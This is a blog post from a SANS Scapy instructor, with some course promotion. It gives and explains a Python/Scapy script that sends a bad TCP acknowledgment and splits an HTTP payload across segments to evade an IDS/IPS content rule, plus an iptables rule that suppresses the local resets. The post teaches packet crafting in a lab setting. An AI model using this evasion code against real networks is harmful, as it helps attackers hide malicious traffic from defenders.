17.6.10

Scapy Code For Bad ACK Reset

As promised, here is the Scapy code. Let me be perfectly transparent by saying that I have several reasons for my posts on this blog. First, I think Scapy is amazing and I want to encourage you to use it. Second, I've created a SANS course for Scapy that I'm trying to market. I taught it this past Sunday at the Baltimore SANSFIRE with a handful of students and unless I do a better job of marketing the course, it will be dead by the end of the year. I'd hate for that to happen since I put a lot of work into it and it's really a fun course. The next time I'm teaching is in Las Vegas in September for SANS Network Security 2010 http://www.sans.org/network-security2010/description.php?tid=3712

Okay - enough pimping, now to the good stuff.
-----------------------------------------------------------------------------------------------
#!/usr/bin/python

from scapy.all import *
import random

pay1 = "GET /EVIL"
pay2 = "STUFF HTTP/1.1\r\nHost: sender\r\n\r\n"

sp = random.randint(1024,65535)

ip=IP(src="192.168.1.104", dst="192.168.1.103")

SYN=TCP(sport=sp, dport=80, flags="S", seq=10)
SYNACK=sr1(ip/SYN)

my_ack = SYNACK.seq + 1
bad_ack = my_ack + 1

next_seq = SYN.seq + 1

ACK=TCP(ack=bad_ack, sport=sp, dport=80, flags="A", seq=next_seq)
send(ip/ACK)

PUSH=TCP(ack=my_ack, seq=next_seq, sport=sp, dport=80, flags="PA")
send(ip/PUSH/pay1)
next_seq = ACK.seq + len(pay1)

PUSH=TCP(ack=my_ack, seq=next_seq, sport=sp, dport=80, flags="PA")
send(ip/PUSH/pay2)
next_seq = PUSH.seq + len(pay2)

RST=TCP(ack=my_ack, seq=next_seq, sport=sp, dport=80, flags="RA")
send(ip/RST)
------------------------------------------------------------------------------------------
I'm going to explain the code and not the Scapy format since you can learn that from online documentation or come to my course;)

- Scapy modules are imported with from scapy.all import *

- Next, I import random to randomize the source port. I do this because if you manage to create a connection, but do something wrong and want to start another session, you won't be caught in some wait state for the bad session to time out.

- I assume there is some kind of content rule for "EVILSTUFF". I separate these into two segment to force TCP reassembly so the IDS/IPS doesn't alert because the content is contained in a single segment

- I randomize the source port with a value of 1024-65535

- I create an IP header - the IP addresses are different than the ones in the previous post, but you can change them for your source and destination IP's

- I create a TCP header for the SYN segment next with the randomized source port, a destination port of 80, the "SYN" flag set, and a too-low but identifying Initial Sequence Number of 10

-The next statement is the trickiest. The right side uses Scapy's sr1 command to send a packet and match and return the response. I've assembled my IP header followed by my TCP header (ip/SYN) and send it with the sr1 command. I've told Scapy to store the returned packet in a variable named SYNACK. This is one of the most amazing things Scapy does - it is able to return and store the server's SYN/ACK. No command line tool I know of can do this.

- Next I extract the server's sequence number and add 1 to it and call it my_ack. This is the valid acknowledgment number. But, I don't use this right away.

- I now define bad_ack as the real acknowledgment number + 1 so it's not the next expected one.

- I increment the client's sequence number to account for the sequence number consumed by the SYN

- I define my TCP acknowledgment header using the bad acknowledgment number

- I send the segment with the bad acknowledgment number

- Now I create a TCP header for the PUSH segment, but it has the valid acknowledgment number

- Next, I send the PUSH segment that has the first payload

- I compute the next TCP sequence number as the current sequence number + the number of bytes in the first payload

- I create a new TCP PUSH header with the updated TCP sequence number

- Now, I send the PUSH segment with the second part of the payload

- I compute the next TCP sequence number for the reset

- Then I create a reset TCP header

- Finally, I close the session by sending the reset packet

One final detail. Scapy creates raw sockets that have an unfortunate side effect of causing the sending host's TCP/IP stack to attempt to reset the connection since we circumvent it. It knows nothing about the SYN we sent out so when the SYN/ACK, or for that matter, any packet is returned from the server your host's TCP/IP stack will attempt to reset it. We can suppress these resets using iptables:

iptables -A OUTPUT -p tcp -s 192.168.1.104 -d 192.168.1.103 --tcp-flags RST, RST --destination-port 80 -j DROP

My destination host had a Linux 2.6 kernel and manifested the behavior I showed in the previous post. Execute the above Python/Scapy program and capture the traffic using tcpdump and you should see what I saw. Happy crafting!